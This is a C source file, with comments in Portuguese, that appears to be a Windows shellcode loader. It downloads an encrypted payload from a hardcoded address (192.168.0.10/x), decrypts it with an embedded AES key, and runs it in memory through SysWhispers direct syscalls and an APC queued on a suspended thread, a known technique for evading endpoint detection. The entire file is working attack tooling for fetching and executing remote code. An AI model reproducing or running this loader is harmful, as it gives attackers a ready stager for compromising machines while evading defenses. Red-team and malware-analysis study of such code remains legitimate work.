#include #include #include #include #include #include #include #include #include #include "SysWhispers.h" #pragma comment(lib, "winhttp.lib") #pragma comment (lib, "crypt32.lib") #pragma comment (lib, "advapi32") #define okay(msg, ...) printf("[+] " msg , ##__VA_ARGS__) #define info(msg, ...) printf("[*] " msg , ##__VA_ARGS__) #define warn(msg, ...) printf("[-] " msg , ##__VA_ARGS__) void printMemoryInfo(void* address, const char* name) { MEMORY_BASIC_INFORMATION mbi; VirtualQuery(address, &mbi, sizeof(mbi)); printf("[+] %s: %p\n", name, address); info(" Base Address: %p\n", mbi.BaseAddress); info(" Allocation Base: %p\n", mbi.AllocationBase); info(" Allocation Protect: 0x%X\n", mbi.AllocationProtect); info(" Region Size: %zu bytes\n", mbi.RegionSize); info(" State: 0x%X (MEM_COMMIT=0x1000, MEM_RESERVE=0x2000)\n", mbi.State); info(" Protect: 0x%X (PAGE_EXECUTE=0x10, PAGE_READWRITE=0x04)\n", mbi.Protect); info(" Type: 0x%X (MEM_PRIVATE=0x20000, MEM_IMAGE=0x1000000)\n\n", mbi.Type); } const LPCTSTR url = L"http://192.168.0.10/x"; const unsigned char key[] = { 0x51, 0x21, 0x35, 0x0a, 0x23, 0xbf, 0xa8, 0xbc, 0x99, 0xf1, 0x20, 0x3a, 0x3c, 0xc4, 0x92, 0x8e }; BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) { BOOL bSTATE = TRUE; HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; DWORD dwBytesRead = 0; SIZE_T sSize = 0; PBYTE pBytes = NULL, pTmpBytes = NULL; URL_COMPONENTS urlComp; WCHAR szHostName[256] = { 0 }; WCHAR szUrlPath[256] = { 0 }; ZeroMemory(&urlComp, sizeof(urlComp)); urlComp.dwStructSize = sizeof(urlComp); urlComp.lpszHostName = szHostName; urlComp.dwHostNameLength = sizeof(szHostName) / sizeof(szHostName[0]); urlComp.lpszUrlPath = szUrlPath; urlComp.dwUrlPathLength = sizeof(szUrlPath) / sizeof(szUrlPath[0]); if (!WinHttpCrackUrl(szUrl, 0, 0, &urlComp)) { bSTATE = FALSE; goto _EndOfFunction; } hSession = WinHttpOpen(L"", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (hSession == NULL) { bSTATE = FALSE; goto _EndOfFunction; } hConnect = WinHttpConnect(hSession, urlComp.lpszHostName, urlComp.nPort, 0); if (hConnect == NULL) { bSTATE = FALSE; goto _EndOfFunction; } hRequest = WinHttpOpenRequest(hConnect, L"GET", urlComp.lpszUrlPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, (urlComp.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0); if (hRequest == NULL) { bSTATE = FALSE; goto _EndOfFunction; } if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { bSTATE = FALSE; goto _EndOfFunction; } if (!WinHttpReceiveResponse(hRequest, NULL)) { bSTATE = FALSE; goto _EndOfFunction; } pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024); if (pTmpBytes == NULL) { bSTATE = FALSE; goto _EndOfFunction; } while (TRUE) { if (!WinHttpReadData(hRequest, pTmpBytes, 1024, &dwBytesRead)) { bSTATE = FALSE; goto _EndOfFunction; } if (dwBytesRead == 0) { break; } sSize += dwBytesRead; if (pBytes == NULL) pBytes = (PBYTE)LocalAlloc(LPTR, sSize); else pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT); if (pBytes == NULL) { bSTATE = FALSE; goto _EndOfFunction; } memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead); memset(pTmpBytes, '\0', dwBytesRead); } *pPayloadBytes = pBytes; *sPayloadSize = sSize; _EndOfFunction: if (hSession) WinHttpCloseHandle(hSession); if (hConnect) WinHttpCloseHandle(hConnect); if (hRequest) WinHttpCloseHandle(hRequest); if (pTmpBytes) LocalFree(pTmpBytes); return bSTATE; } int AESDecrypt(char* payload, unsigned int payload_len, char* key, SIZE_T keylen) { HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey; if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { return -1; } if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { return -1; } if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) { return -1; } if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { return -1; } if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, payload, &payload_len)) { return -1; } CryptReleaseContext(hProv, 0); CryptDestroyHash(hHash); CryptDestroyKey(hKey); return 0; } int main() { PBYTE EncShellcode = NULL; SIZE_T fileSize = 0; PVOID exec_mem = NULL; HANDLE hThread = NULL; NTSTATUS status; DWORD oldProtect = 0; // 1. Baixar o shellcode if (!GetPayloadFromUrl(url, &EncShellcode, &fileSize)) { return -1; } okay("Encriptado", EncShellcode, fileSize); okay("Shellcode criptografado carregado da URL.\n"); printMemoryInfo(EncShellcode, "EncShellcode"); // 2. Descriptografar o shellcode AESDecrypt((char*)EncShellcode, fileSize, key, sizeof(key)); // 3. Alocar memória para o shellcode usando SysWhispers status = Sw3NtAllocateVirtualMemory( (HANDLE)-1, &exec_mem, 0, &fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if (status != 0) { return -1; } // 4. Escrever o shellcode na memória status = Sw3NtWriteVirtualMemory( (HANDLE)-1, exec_mem, EncShellcode, fileSize, NULL ); if (status != 0) { return -1; } // 5. Alterar permissões de memória para execução status = Sw3NtProtectVirtualMemory( (HANDLE)-1, &exec_mem, &fileSize, PAGE_EXECUTE_READ, &oldProtect ); if (status != 0) { return -1; } // 6. Criar um thread suspenso status = Sw3NtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, NULL, NULL, CREATE_SUSPENDED, 0, 0, 0, NULL ); if (status != 0) { return -1; } // 7. Enfileirar o shellcode no APC do thread status = Sw3NtQueueApcThread( hThread, (PVOID)exec_mem, NULL, NULL, NULL ); if (status != 0) { return -1; } // 8. Ativar o thread (retomar execução) DWORD suspendCount = 0; status = Sw3NtResumeThread( hThread, &suspendCount ); if (status != 0) { return -1; } // 9. Esperar o thread terminar status = Sw3NtWaitForSingleObject( hThread, FALSE, NULL ); if (status != 0) { return -1; } return 0; }